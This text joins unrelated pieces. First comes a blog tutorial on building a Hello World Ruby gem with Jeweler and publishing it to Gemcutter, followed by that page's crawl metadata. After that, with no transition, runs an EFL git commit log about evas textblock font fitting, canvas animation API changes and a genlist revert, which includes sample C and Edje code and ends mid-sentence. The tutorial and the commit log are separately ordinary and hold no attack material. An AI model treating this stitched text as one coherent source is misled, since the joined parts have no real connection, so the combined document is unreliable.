fun time, coding gems is lots of fun! Before we can begin, install the Jeweler gem via RubyGems: $ gem install jeweler Jeweler is a tool to create the basic skeleton for your Gem, as well as managing the gem. Creating your gem .. with your mighty companion Jeweler Once Jeweler is installed, you want to create your Gem skeleton. I'm going to create a simple Hello World gem for the sake of example, and later on explain a bit about how you could manage your own Gem (at the very least my 2 cents about how a gem should be done). $ jeweler helloworld # Should be all small letters create .gitignore create Rakefile create LICENSE create README.rdoc create .document create lib create lib/helloworld.rb create test create test/helper.rb create test/test_helloworld.rb Jeweler has prepared your gem in helloworld Now your gem skeleton is ready! Let's get in there and check it out. $ cd helloworld $ ls lib/ LICENSE Rakefile README.rdoc test/ This structure might look familiar to you. (Assuming you are like me and have already stalked a few Gems' sources over at Github) Now I'll attempt to explain what these files and folders are. lib/ This is where your application lives, this is where you'll probably spend the most of your time working on your gem. It is common to have a folder inside this folder called whatever your gem is called (in this example, that would be helloworld), in which your app. is split into a few files, for organizations sake. And then have lib/<gem name>.rb require these files (as /lib/<gem name>.rb is what is required by Ruby whenever somebody requires your gem in their own project). My 2 cents on organizing stuff in here (skippable) As said, I am in no way an expert. But this is how I would do it. My first gem is a gem for a file storage service (Anyhub) which should do two things: • Create a library for easy Ruby interaction with Anyhub • Contain a small CLI for Anyhub based on it's own library So I figured I would have a module, containing a few classes: • Upload (for uploading files to Anyhub) • Account (to manage ones Anyhub account) • Runner (to manage the CLI) The Upload class would simply be able to use the account class, to check if an account was configured in a config file (f.e. account_config.yaml). If a config file was present, it would upload the file(s) specified in arguments to the script. Otherwise, it would return an error. Runner (the CLI) would respond to this error, allowing the user to type in his details so they could be used for the ongoing upload, as well as any following uploads (by saving the details to account_config.yaml via the Account class). Now, I had made a perfectly good module. The only thing it needed was arguments send to Runner, which would activate it all. By doing a little research I figured if I created the directory bin/ and threw in a file here, this file would automatically be inserted into the installers own bin (f.e. /usr/bin on Linux if installed for all users). So I created the bin/ directory, and a file in here called anyhub with a Ruby shebang at the top. This file simply instanced the Runner class with ARGV. Now this is just my little not-so-fancy gem theory. It's not exactly done this way (yet) because Anyhub didn't have an API at first - so I created the first version without the Account class, so it might not be exactly like this at the Github repo. just yet. Anyhub gem @ Github. LICENSE Simply a file which contains the license for your project. By default MIT with Jeweler. Rakefile Rake configuration for your project. It is here you can define rake tasks, and configure your project (in terms of the name of it, dependencies, description and similar). Readme.rdoc The Readme file for your project. If you create a Github repo. it'll show up there. It is also "the index" for your Gems' documentation. test/ It is here you create your tests. Configuring your Gem Remember a few lines ago, I told you how you could configure your Gem via Rakefile? As you might have already guessed, we're going to open that very file now, to configure our example Gem. After rubygems and rake has been required by Rakefile we see some fancy code, and then something which looks like some configuration. This is indeed where we configure our example Gem. You mostly only need to configure the summary and description the first time, I did it like this: begin require 'jeweler' Jeweler::Tasks.new do |gem| gem.name = "helloworld" gem.summary = %Q{I'm a helloworld gem! I like to hello the world.} gem.description = %Q{This is a fancy little test gem.} gem.email = "[email protected]" gem.homepage = "http://github.com/Sirupsen/helloworld" gem.authors = ["Sirupsen"] gem.add_development_dependency "thoughtbot-shoulda", ">= 0" # gem is a Gem::Specification... see http://www.rubygems.org/read/chapter/ 20 for additional settings end Jeweler::GemcutterTasks.new rescue LoadError puts "Jeweler (or a dependency) not available. Install it with: gem install jeweler" end A little something more on configuring .. which can be skipped. If your gem has any dependencies, you can add them here. Dependencies in this context mean "gems which my gem depends on". You should add them, because if you do they are automatically installed along with your Gem whenever somebody tries to install your Gem. If you don't, they'll just get a good ton of errors when they try using your gem. Do add dependencies, simply add this to your Rakefile: gem.add_dependency "gem", "version" For example, in my gem I used the Curb Gem, and therefore I added this to my Rakefile: gem.add_dependency "curb", ">= 0" (>= 0 just means "I don't care about which version of the Gem it is, as long as it's there", mostly because I couldn't find much version-specific documentation Curb, otherwise I would have done this properly.) Let's add some sample code Now it's time to add some code to our helloworld Gem. I simply open /lib/helloworld.rb, and add these few lines of code: module HelloWorld def self.do "Hello World from the all mighty helloworld Gem!" end end So HelloWorld.do would return the string "Hello World from the all mighty helloworld Gem!". Great, so far, so good. Version In order to finish our Gem, we need a version file. Now because Jeweler is so awesome, we don't even need to use our editor to do this, simply execute the following command: $ rake version:write And the VERSION file is created. It's not that fancy though. $ cat VERSION 0.0.0 But that seems correct. This is our first Gem build, so of course, the version is 0.0.0 as of now! Install it! Now you can install the Gem. It's very easy: $ rake install Password: (in /home/sirup/Code/Ruby/helloworld) Generated: helloworld.gemspec helloworld.gemspec is valid. WARNING: no rubyforge_project specified Successfully built RubyGem Name: helloworld Version: 0.0.0 File: helloworld-0.0.0.gem Executing "gem install ./pkg/helloworld-0.0.0.gem": gem install ./pkg/helloworld-0.0.0.gem Successfully installed helloworld-0.0.0 1 gem installed Installing ri documentation for helloworld-0.0.0... Updating class cache with 1983 classes... Installing RDoc documentation for helloworld-0.0.0... Moment of truth irb --simple-prompt >> require 'helloworld' => true >> HelloWorld.do => "Hello World from the all mighty helloworld Gem!" (Note: If you are not using Ruby 1.9, you might need to require 'rubygems' before requiring helloworld) Awesome, it works. I hope this has helped you towards creating your first gem. You are welcome to leave a comment, or contact me if you run into any trouble. Further information You'll find it all if you visit Jeweler at Github. Below is for quick reference. Github I advice you to commit all your code, and push it to Github. Makes it easy for other people to view the source, post issues, and participate in your project. Github because it's sort of the standard for Ruby open source projects. Releasing Gem at Gemcutter If you feel like sharing your Gem to the world (and you probably do). Register an account at Gemcutter. And now you are ready to release your Gem. Simply run: $ rake gemcutter:release To release your gem. (You can also release it at RubyForge instead if you wish so, see the Jeweler readme) You might be asked to sign in to your account, simply do so whenever prompted. Workflow .. taken directly from the Jeweler Wiki. 1. gem install jeweler 2. Create a new project and customize it, or configure an existing project 3. Write good code, and commit it 4. Bump the version with one of the rake tasks: • rake version:bump:patch 1.5.3 → 1.5.4 • rake version:bump:minor 1.5.3 → 1.6.0 • rake version:bump:major 1.5.3 → 2.0.0 • rake version:write MAJOR=2 MINOR=3 PATCH=6 1.5.3 → 2.3.6 5. Release it • rake release • Optionally release it to Rubyforge: rake rubyforge:release • Optionally release it to Gemcutter: rake gemcutter:release 6. Go to #2 Subscribe through email to new articles (typically less than once a month).
{ "url": "https://sirupsen.com/create-your-first-ruby-gem-and-release-it-to-gemcutter/", "source_domain": "sirupsen.com", "snapshot_id": "crawl=CC-MAIN-2019-09", "warc_metadata": { "Content-Length": "41503", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:TIYVX3HMSANQJVKCW44Z6DAOFVBRPHHQ", "WARC-Concurrent-To": "<urn:uuid:5d99e04c-5a6b-460f-83de-dec3c6b9d870>", "WARC-Date": "2019-02-19T16:44:58Z", "WARC-IP-Address": "104.27.189.179", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:Z2LFJCOXCPBQR3SLAQ37XVSTTPR3LM46", "WARC-Record-ID": "<urn:uuid:898b3fa7-e7a4-49aa-989b-a9643215b8fd>", "WARC-Target-URI": "https://sirupsen.com/create-your-first-ruby-gem-and-release-it-to-gemcutter/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:15797be8-3bdf-4dfb-8171-d0a0a8ef8b09>" }, "warc_info": "isPartOf: CC-MAIN-2019-09\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-171-229-147.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 55, 56, 65, 66, 327, 328, 475, 476, 749, 750, 760, 761, 786, 787, 1055, 1056, 1115, 1116, 1138, 1139, 1229, 1230, 1248, 1249, 1287, 1288, 1553, 1554, 1605, 1624, 1641, 1657, 1677, 1695, 1707, 1733, 1746, 1769, 1801, 1845, 1846, 1915, 1916, 1932, 1937, 1981, 1982, 2174, 2175, 2180, 2181, 2659, 2660, 2711, 2712, 2778, 2779, 2865, 2866, 2925, 2986, 2987, 3049, 3050, 3093, 3137, 3168, 3169, 3685, 3686, 4182, 4183, 4442, 4443, 4464, 4465, 4473, 4474, 4562, 4563, 4572, 4573, 4744, 4745, 4757, 4758, 4895, 4896, 4902, 4903, 4937, 4938, 4959, 4960, 5149, 5150, 5433, 5434, 5440, 5460, 5490, 5518, 5589, 5648, 5684, 5743, 5774, 5838, 5945, 5951, 5981, 5998, 6087, 6091, 6092, 6131, 6132, 6157, 6158, 6500, 6501, 6556, 6557, 6593, 6594, 6681, 6682, 6716, 6717, 6927, 6928, 6955, 6956, 7077, 7078, 7096, 7110, 7164, 7170, 7174, 7175, 7291, 7292, 7300, 7301, 7475, 7476, 7497, 7498, 7559, 7560, 7574, 7580, 7581, 7680, 7681, 7693, 7694, 7739, 7740, 7755, 7765, 7803, 7833, 7862, 7903, 7932, 7951, 7968, 7997, 8049, 8088, 8128, 8144, 8196, 8238, 8292, 8293, 8309, 8310, 8330, 8354, 8362, 8379, 8432, 8433, 8537, 8538, 8696, 8697, 8717, 8718, 8799, 8800, 8807, 8808, 8966, 8967, 9039, 9040, 9067, 9068, 9172, 9173, 9228, 9229, 9255, 9256, 9442, 9443, 9452, 9453, 9494, 9495, 9520, 9597, 9633, 9683, 9727, 9771, 9815, 9878, 9894, 9913, 9978, 10043, 10057 ], "line_end_idx": [ 55, 56, 65, 66, 327, 328, 475, 476, 749, 750, 760, 761, 786, 787, 1055, 1056, 1115, 1116, 1138, 1139, 1229, 1230, 1248, 1249, 1287, 1288, 1553, 1554, 1605, 1624, 1641, 1657, 1677, 1695, 1707, 1733, 1746, 1769, 1801, 1845, 1846, 1915, 1916, 1932, 1937, 1981, 1982, 2174, 2175, 2180, 2181, 2659, 2660, 2711, 2712, 2778, 2779, 2865, 2866, 2925, 2986, 2987, 3049, 3050, 3093, 3137, 3168, 3169, 3685, 3686, 4182, 4183, 4442, 4443, 4464, 4465, 4473, 4474, 4562, 4563, 4572, 4573, 4744, 4745, 4757, 4758, 4895, 4896, 4902, 4903, 4937, 4938, 4959, 4960, 5149, 5150, 5433, 5434, 5440, 5460, 5490, 5518, 5589, 5648, 5684, 5743, 5774, 5838, 5945, 5951, 5981, 5998, 6087, 6091, 6092, 6131, 6132, 6157, 6158, 6500, 6501, 6556, 6557, 6593, 6594, 6681, 6682, 6716, 6717, 6927, 6928, 6955, 6956, 7077, 7078, 7096, 7110, 7164, 7170, 7174, 7175, 7291, 7292, 7300, 7301, 7475, 7476, 7497, 7498, 7559, 7560, 7574, 7580, 7581, 7680, 7681, 7693, 7694, 7739, 7740, 7755, 7765, 7803, 7833, 7862, 7903, 7932, 7951, 7968, 7997, 8049, 8088, 8128, 8144, 8196, 8238, 8292, 8293, 8309, 8310, 8330, 8354, 8362, 8379, 8432, 8433, 8537, 8538, 8696, 8697, 8717, 8718, 8799, 8800, 8807, 8808, 8966, 8967, 9039, 9040, 9067, 9068, 9172, 9173, 9228, 9229, 9255, 9256, 9442, 9443, 9452, 9453, 9494, 9495, 9520, 9597, 9633, 9683, 9727, 9771, 9815, 9878, 9894, 9913, 9978, 10043, 10057, 10132 ] }
{ "red_pajama_v2": { "ccnet_original_length": 10132, "ccnet_original_nlines": 227, "rps_doc_curly_bracket": 0.00039478999678976834, "rps_doc_ldnoobw_words": 1, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3647577166557312, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.02378855086863041, "rps_doc_frac_lines_end_with_ellipsis": 0.013157890178263187, "rps_doc_frac_no_alph_words": 0.24185022711753845, "rps_doc_frac_unique_words": 0.31544029712677, "rps_doc_mean_word_length": 4.653799533843994, "rps_doc_num_sentences": 180, "rps_doc_symbol_to_word_ratio": 0.003083700081333518, "rps_doc_unigram_entropy": 5.510464191436768, "rps_doc_word_count": 1658, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.020865729078650475, "rps_doc_frac_chars_dupe_6grams": 0.0151632996276021, "rps_doc_frac_chars_dupe_7grams": 0.0151632996276021, "rps_doc_frac_chars_dupe_8grams": 0.0151632996276021, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.015422499738633633, "rps_doc_frac_chars_top_3gram": 0.004276829771697521, "rps_doc_frac_chars_top_4gram": 0.006609640084207058, "rps_doc_books_importance": -1034.0399169921875, "rps_doc_books_importance_length_correction": -1034.0399169921875, "rps_doc_openwebtext_importance": -655.5535278320312, "rps_doc_openwebtext_importance_length_correction": -655.5535278320312, "rps_doc_wikipedia_importance": -354.1567687988281, "rps_doc_wikipedia_importance_length_correction": -354.1567687988281 }, "fasttext": { "dclm": 0.06025439873337746, "english": 0.903664231300354, "fineweb_edu_approx": 1.7321423292160034, "eai_general_math": 0.5242878198623657, "eai_open_web_math": 0.2327173352241516, "eai_web_code": 0.5745328068733215 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.13324", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "16", "label": "Personal Blog" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,078,805,418,006,583,800
summaryrefslogtreecommitdiff path: root/src/lib (follow) AgeCommit message (Collapse)Author 2019-11-05ecore-wl2: Move ecore_wl2_window_damage function to be internalChristopher Michael As this function is only used in 1 place and will likely never be used outside of the modular dmabuf engine, we can move it to be internal only. ref T8013 2019-11-05ecore-wl2: Move variables to be above functionsChristopher Michael NB: No functional changes 2019-11-05evas_textblock: content fit featureAli Alzyod Summary: **Content Fit Feature for Evas_Object_Textblock** This Feature is available at **Evas **object level. And **Edje **level (where it is internally use evas functionality) This feature will allow text block to fit its content font size to proper size to fit its area. **Main Properties:** Fit Modes : None=Default, Width, Height, All [Width+Height] Fit Size Range : Contains maximum and minimum font size to be used (and in between). Fit Step Size : Step(Jump) value when trying fonts sizes between Size_Range max and min. Fit Size Array : Other way to resize font, where you explicitly select font sizes to be uses (for example [20, 50, 100] it will try 3 sizes only) Text Fit feature was available in Edje but: 1- It doesn't effected by ellipsis or warping in font style (or do not handle the in right way) 2- Accuracy is not good (specially if you have fix pixel size elements (spaces,tabs,items)) 3- No (Step size, Size Array) available. Test Plan: To check the Feature > elementary_test > fit > textbock fit You can modify all the modes and properties These are two examples, One using Evas other uses Edje **Evas** ``` #include <Elementary.h> enum BUTTON{ BUTTON_MODE = 0, BUTTON_MAX = 1, BUTTON_MIN = 2, BUTTON_STEP = 3, BUTTON_ARRAY = 4, BUTTON_CONTENT = 5, BUTTON_STYLE = 6, BUTTON_ALL = BUTTON_STYLE+1, }; char* BUTTON_STR[BUTTON_ALL] ={ "MODE", "MAX", "MIN", "STEP", "ARRAY", "CONTENT", "STYLE", }; char *contents[] = { "Hello World", "This is Line<br>THis is other Line", "This text contains <font_size=20 color=#F00>SPECIFIC SIZE</font_size> that does not effected by fit mode" }; char *styles[] = { "DEFAULT='font=sans font_size=30 color=#000 wrap=mixed ellipsis=1.0'", "DEFAULT='font=sans font_size=30 color=#000 wrap=mixed'", "DEFAULT='font=sans font_size=30 color=#000 ellipsis=1.0'", "DEFAULT='font=sans font_size=30 color=#000'", }; char *styles_names[] = { "wrap=<color=#F00>mixed</color> ellipsis=<color=#F00>1.0</color>", "wrap=<color=#F00>mixed</color> ellipsis=<color=#F00>NONE</color>", "wrap=<color=#F00>NONE</color> ellipsis=<color=#F00>1.0</color>", "wrap=<color=#F00>NONE</color> ellipsis=<color=#F00>NONE</color>", }; typedef struct _APP { Evas_Object *win, *box, *txtblock,*bg, *boxHor, *boxHor2; Eo *btn[BUTTON_ALL]; Eo *lbl_status; char * str; unsigned int i_contnet, i_style; } APP; APP *app; char * get_fit_status(Eo * textblock); static void _btn_clicked(void *data EINA_UNUSED, Eo *obj, void *eventInfo EINA_UNUSED){ if (obj == app->btn[BUTTON_MODE]) { unsigned int options; evas_textblock_fit_options_get(app->txtblock, &options); if (options == TEXTBLOCK_FIT_MODE_NONE) evas_textblock_fit_options_set(app->txtblock, TEXTBLOCK_FIT_MODE_HEIGHT); else if (options == TEXTBLOCK_FIT_MODE_HEIGHT) evas_textblock_fit_options_set(app->txtblock, TEXTBLOCK_FIT_MODE_WIDTH); else if (options == TEXTBLOCK_FIT_MODE_WIDTH) evas_textblock_fit_options_set(app->txtblock, TEXTBLOCK_FIT_MODE_ALL); else if (options == TEXTBLOCK_FIT_MODE_ALL) evas_textblock_fit_options_set(app->txtblock, TEXTBLOCK_FIT_MODE_NONE); } else if (obj == app->btn[BUTTON_MAX]) { unsigned int min, max; evas_textblock_fit_size_range_get(app->txtblock, &min, &max); max -= 5; evas_textblock_fit_size_range_set(app->txtblock, min, max); } else if (obj == app->btn[BUTTON_MIN]) { unsigned int min, max; evas_textblock_fit_size_range_get(app->txtblock, &min, &max); min += 5; evas_textblock_fit_size_range_set(app->txtblock, min, max); } else if (obj == app->btn[BUTTON_STEP]) { unsigned int step; evas_textblock_fit_step_size_get(app->txtblock, &step); step++; evas_textblock_fit_step_size_set(app->txtblock, step); } else if (obj == app->btn[BUTTON_ARRAY]) { unsigned int font_size[] = {10, 50, 100 ,150}; evas_textblock_fit_size_array_set(app->txtblock,font_size,4); } else if (obj == app->btn[BUTTON_CONTENT]) { app->i_contnet++; if(app->i_contnet>=sizeof(contents)/sizeof(char*)) app->i_contnet=0; evas_object_textblock_text_markup_set(app->txtblock,contents[app->i_contnet]); } else if (obj == app->btn[BUTTON_STYLE]) { app->i_style++; if(app->i_style>=sizeof(styles)/sizeof(char*)) app->i_style=0; Evas_Textblock_Style *style = evas_object_textblock_style_get(app->txtblock); evas_textblock_style_set(style,styles[app->i_style]); } elm_object_text_set(app->lbl_status, get_fit_status(app->txtblock)); } char * get_fit_status(Eo * textblock) { static char status[0xFFF]; unsigned int options,min,max,step,size_array[256]; size_t size_array_len; evas_textblock_fit_options_get(textblock,&options); evas_textblock_fit_size_range_get(textblock,&min,&max); evas_textblock_fit_step_size_get(textblock,&step); evas_textblock_fit_size_array_get(textblock,NULL,&size_array_len,0); if (size_array_len>255) size_array_len = 255; evas_textblock_fit_size_array_get(textblock,size_array,NULL,size_array_len); strcpy(status,"Mode : "); if (options == TEXTBLOCK_FIT_MODE_NONE) strcat(status,"MODE_NONE"); else if (options == TEXTBLOCK_FIT_MODE_HEIGHT) strcat(status,"MODE_HEIGHT"); else if (options == TEXTBLOCK_FIT_MODE_WIDTH) strcat(status,"MODE_WIDTH"); else if (options == TEXTBLOCK_FIT_MODE_ALL) strcat(status,"MODE_ALL"); strcat(status,"<br>"); sprintf(status + strlen(status),"Max : %d<br>",max); sprintf(status + strlen(status),"Min : %d<br>",min); sprintf(status + strlen(status),"Step : %d<br>",step); sprintf(status + strlen(status),"Array : [ "); for (size_t i = 0 ; i < 10 ; i++) { if(i<size_array_len) sprintf(status + strlen(status)," %d,",size_array[i]); } if(10<size_array_len) sprintf(status + strlen(status)," ... "); sprintf(status + strlen(status)," ]"); sprintf(status + strlen(status),"<br>"); sprintf(status + strlen(status),"%s",styles_names[app->i_style]); return status; } int elm_main(int argc, char **argv) { app = calloc(sizeof(APP), 1); elm_policy_set(ELM_POLICY_QUIT, ELM_POLICY_QUIT_LAST_WINDOW_CLOSED); app->win = elm_win_util_standard_add("Main", "App"); elm_win_autodel_set(app->win, EINA_TRUE); app->box = elm_box_add(app->win); app->boxHor = elm_box_add(app->box); app->boxHor2 = elm_box_add(app->box); app->txtblock = evas_object_textblock_add(app->box); app->bg = elm_bg_add(app->box); elm_bg_color_set(app->bg,255,255,255); Evas_Textblock_Style *style = evas_textblock_style_new(); evas_textblock_style_set(style,styles[0]); evas_object_textblock_style_set(app->txtblock,style); evas_object_textblock_text_markup_set(app->txtblock,contents[0]); elm_box_horizontal_set(app->boxHor, EINA_TRUE); elm_box_horizontal_set(app->boxHor2, EINA_TRUE); evas_object_size_hint_weight_set(app->box, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND); evas_object_size_hint_align_set(app->box, EVAS_HINT_FILL, EVAS_HINT_FILL); evas_object_size_hint_weight_set(app->box, EVAS_HINT_EXPAND, EVAS_HINT_EXPAND); evas_object_size_hint_align_set(app->box, EVAS_HINT_FILL, EVAS_HINT_FILL); evas_object_show(app->txtblock); evas_object_show(app->bg); evas_object_show(app->box); evas_object_show(app->boxHor); evas_object_show(app->boxHor2); elm_box_pack_end(app->box, app->bg); elm_box_pack_end(app->box, app->boxHor); elm_box_pack_end(app->box, app->boxHor2); elm_object_content_set(app->bg,app->txtblock); elm_win_resize_object_add(app->win, app->box); evas_object_resize(app->win, 320, 480); for(int i = 0 ; i < BUTTON_ALL ; i++) { app->btn[i] = elm_button_add(app->boxHor); evas_object_smart_callback_add(app->btn[i], "clicked", _btn_clicked, NULL); elm_object_text_set(app->btn[i], BUTTON_STR[i]); elm_box_pack_end(app->boxHor, app->btn[i]); evas_object_show(app->btn[i]); } app->lbl_status = elm_label_add(app->boxHor2); elm_object_text_set(app->lbl_status, get_fit_status(app->txtblock)); elm_box_pack_end(app->boxHor2, app->lbl_status); evas_object_show(app->lbl_status); evas_object_size_hint_weight_set(app->txtblock, EVAS_HINT_EXPAND,EVAS_HINT_EXPAND); evas_object_size_hint_align_set(app->txtblock, EVAS_HINT_FILL, EVAS_HINT_FILL); evas_object_size_hint_weight_set(app->bg, EVAS_HINT_EXPAND,EVAS_HINT_EXPAND); evas_object_size_hint_align_set(app->bg, EVAS_HINT_FILL, EVAS_HINT_FILL); evas_object_show(app->win); elm_run(); return 0; } ELM_MAIN() ``` **Edje** ``` // compile: edje_cc source.edc // run: edje_player source.edje collections { styles { style { name: "text_style"; base: "font=sans font_size=30 color=#FFF wrap=mixed ellipsis=1.0"; tag: "br" "\n"; tag: "ps" "ps"; tag: "tab" "\t"; tag: "b" "+ font_weight=Bold"; } } group { name: "my_group"; // must be the same as in source.c parts { part { name: "background"; type: RECT; scale: 1; description { color: 0 0 0 0; rel1.relative: 0.0 0.0; rel2.relative: 1.0 1.0; } } part { name: "text"; type: TEXTBLOCK; scale: 1; entry_mode: NONE; effect: OUTLINE_SHADOW; description { state: "default" 0.0; rel1.to : "background"; rel1.relative: 0.0 0.0; rel2.to : "background"; rel2.relative: 1.0 1.0; text { style: "text_style"; align: 0.0 0.0; text: "Hello World This is Me"; fit: 1 1; fit_step: 1; size_range: 30 200; //fit_size_array: 20 40 60 80 100 200; } } } } } } ``` Found Task T5724 relative to this Feature Reviewers: woohyun, bowonryu, cedric, raster Subscribers: #committers, #reviewers, cedric Tags: #efl Differential Revision: https://phab.enlightenment.org/D9280 2019-11-05docs: Efl.Ui.Table_StaticXavi Artigas The need for this class is still being discussed in https://phab.enlightenment.org/T8206 but at least it is a bit more clear what its purpose is. 2019-11-05evas filter: Implement inverse color filterShinwoo Kim Summary: This is the first version of inverse color filter both GL and SW. Test Plan: 1. Create filter_example with following . efl_gfx_filter_program_set(image, "inverse_color ()", "inverse color"); 2. Run. ./filter_example (Use ELM_ACCEL=gl for GL engine) Reviewers: Hermet, jsuya Reviewed By: Hermet Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10335 2019-11-04docs: Polish Efl.Canvas.Animation_Group and sonsXavi Artigas Summary: These docs were almost empty. Reviewers: bu5hm4n, zmike, cedric, Jaehyun_Cho Reviewed By: cedric Subscribers: #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10564 2019-11-04efl_canvas_animation: improve generallyMarcel Hollerbach Summary: to be taken over by doccop Depends on D10559 Reviewers: Jaehyun_Cho, bu5hm4n Reviewed By: bu5hm4n Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10560 2019-11-04docs: Polish Efl.Canvas.Animation_*Xavi Artigas Summary: These docs were lacking a lot of detail. Depends on D10562 Reviewers: bu5hm4n, cedric, zmike, Jaehyun_Cho Reviewed By: cedric Subscribers: #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10565 2019-11-04efl_canvas_animation_translate: move from x&y to container typesMarcel Hollerbach Summary: this now uses Eina.Position2D so its easier to pass arround other positions. ref T8288 Depends on D10559 Reviewers: segfaultxavi Reviewed By: segfaultxavi Subscribers: segfaultxavi, cedric, #reviewers, #committers Tags: #efl Maniphest Tasks: T8288 Differential Revision: https://phab.enlightenment.org/D10562 2019-11-04efl_canvas_animation_scale: move from 2 doubles to vectorsMarcel Hollerbach Summary: with this the passing of positions is getting more easy. Additionally, Reading the API call gets easier, as parameters are semantically grouped. Depends on D10558 Reviewers: segfaultxavi, Jaehyun_Cho Reviewed By: segfaultxavi Subscribers: cedric, #reviewers, #committers Tags: #efl Maniphest Tasks: T8288 Differential Revision: https://phab.enlightenment.org/D10559 2019-11-04efl_canvas_animation: be more explicit with errorsMarcel Hollerbach Summary: with this commit invalid values are not accepted silently anymore. But rather a error will be raised. Depends on D10350 Reviewers: segfaultxavi, Jaehyun_Cho Subscribers: cedric, #reviewers, #committers Tags: #efl Maniphest Tasks: T8288 Differential Revision: https://phab.enlightenment.org/D10558 2019-11-04efl_canvas_animation_rotate: adjust APIMarcel Hollerbach Summary: in task T8288 we concluded that a few APIs need to be adjusted in order to stabelize animation classes at some point. This also adds a new macro to eina in order to create EINA_VECTOR2 values more easily. ref T8288 Reviewers: Jaehyun_Cho, segfaultxavi, zmike Reviewed By: zmike Subscribers: cedric, #reviewers, #committers Tags: #efl Maniphest Tasks: T8288 Differential Revision: https://phab.enlightenment.org/D10350 2019-11-01Revert "elm/genlist: don't process entire item queue on each item add"Carsten Haitzler (Rasterman) First - the big problem. This breaks enlightenment's bluez5 popup. it does a sortyed inert using the item data and the item data for one of the itmes to compare in _cb_insert_cmp() in e_mod_popup.c when it calls elm_object_item_data_get(0 returns a junk ptr for the item data after this patch. i haven't managed to figure out exactly why in my last 30 mins of looking. But a closer look... this disables immediate processing of: 1. the first block of items (32items) which was intended so for short/small lists you have some content by the time you go to the first frame, and at least the first block of itso you seem to have visual contnt and not a blank list until idlers can process further content. so the patch being reverted would have gotten rid of this logic that gets you content as opposed to blank: while ((sd->queue) && ((!sd->blocks) || (!sd->blocks->next))) 2. if it's a homogenous list, all items have the same size so we do have to realize the first item of each class type but ONLY that one. further items should not need realizing as we can ASSUME the height to be the same as the first item... that's the point of homogenous + compress lists - all items of the same class have the same height and width thus shortcutting further need to calculate nd realize. if we are reizing everything in a homogenous list then the issue lies with something going wrong with this above logic. we shokuld be able to handle such lists super fastif this logic was working. that's the 2nd while: while ((sd->queue) && (sd->blocks) && (sd->homogeneous) && (sd->mode == ELM_LIST_COMPRESS)) so overall, this should not have been realizing every item. either just the first block of 32, OR just the first item of any class and thus assume all further items are the same size without realizing being needed. if these broke then the solution is not commenting this out but finding out why this logic is breaking :) and not to mention... this commenting out also caused segfaults in existing applications which are doing the right thing. perhaps the sorting logic also needed updating as well if this above is commented out... but i didn't have time to chase it more than this. --- This reverts commit 0777b74f07857c86408bc0929e3391ced0e098e4. 2019-11-01ecore_event: Remove unused goto defineJunsuChoi Summary: For remove -Wunused-label warning Test Plan: N/A Reviewers: Hermet, kimcinoo, YOhoho Reviewed By: YOhoho Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10584 2019-10-31efl: fix include due to stale files.Cedric BAIL Reviewers: zmike Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10583 2019-10-31efl_ui_text: remove elm_general.eotYeongjong Lee Summary: remove legacy dependency in eo file. Test Plan: ninja Reviewers: woohyun, Jaehyun_Cho, zmike Reviewed By: zmike Subscribers: zmike, cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10580 2019-10-31evas: move watching over destruction of device to custom logic due to high use.Cedric Bail Summary: This specific EFL_EVENT_DEL handler was registered thousand of time alone on an Evas device. Potential solution are to improve handling of this kind of large scale callback logic or just not take that path. I find it easier to have a custom code in this case to handle the destruction of Evas device and avoid this thousand of callback. Depends on D10492 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10493 2019-10-31evas: deprecate evas_device_parent_set.Cedric Bail Summary: It is unlikely that the code was 